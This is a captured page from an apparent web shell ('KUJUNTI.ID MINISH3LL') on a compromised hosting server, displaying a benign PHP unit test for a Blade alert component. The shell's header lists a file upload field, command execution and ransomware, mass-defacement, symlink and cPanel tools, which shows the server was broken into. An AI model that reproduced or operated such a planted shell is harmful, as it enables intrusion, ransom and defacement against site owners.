KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/vendor/cagilo/cagilo/tests/Compotents/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/vendor/cagilo/cagilo/tests/Compotents/AlertTest.php


<?php

declare(strict_types=1);

namespace Cagilo\UI\Tests\Compotents;

use Cagilo\UI\Tests\ComponentTestCase;

class AlertTest extends ComponentTestCase
{
    public function testShowMessage(): void
    {
        session()->flash('alert', 'Form was successfully submitted.');

        $this
            ->blade('<x-alert/>')
            ->assertSee('Form was successfully submitted.')
            ->assertStringContains('role="alert"');
    }

    public function testSpecifyType(): void
    {
        session()->flash('error', 'Form contains some errors.');

        $this
            ->blade('<x-alert type="error"/>')
            ->assertSee('Form contains some errors.')
            ->assertStringContains('role="alert"');
    }

    public function testSlotted(): void
    {
        session()->flash('alert', 'Form was successfully submitted.');

        $template = <<<'HTML'
            <x-alert>
                <span>Hello World</span>
                {{ $component->message() }}
            </x-alert>
        HTML;

        $this
            ->blade($template)
            ->assertSee('Hello World')
            ->assertSee('Form was successfully submitted.')
            ->assertStringContains('role="alert"');
    }

    public function testMultipleMessage(): void
    {
        $message = tap([
            'Form was successfully submitted.',
            'We have sent you a confirmation email.',
        ], fn ($message) => session()->flash('alert', $message));

        $template = <<<'HTML'
            <x-alert>
                <span>Hello World</span>
                {{ implode(' ', $component->messages()) }}
            </x-alert>
        HTML;

        $this
            ->blade($template)
            ->assertSee('Hello World')
            ->assertSeeInOrder($message)
            ->assertStringContains('role="alert"');
    }
}

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support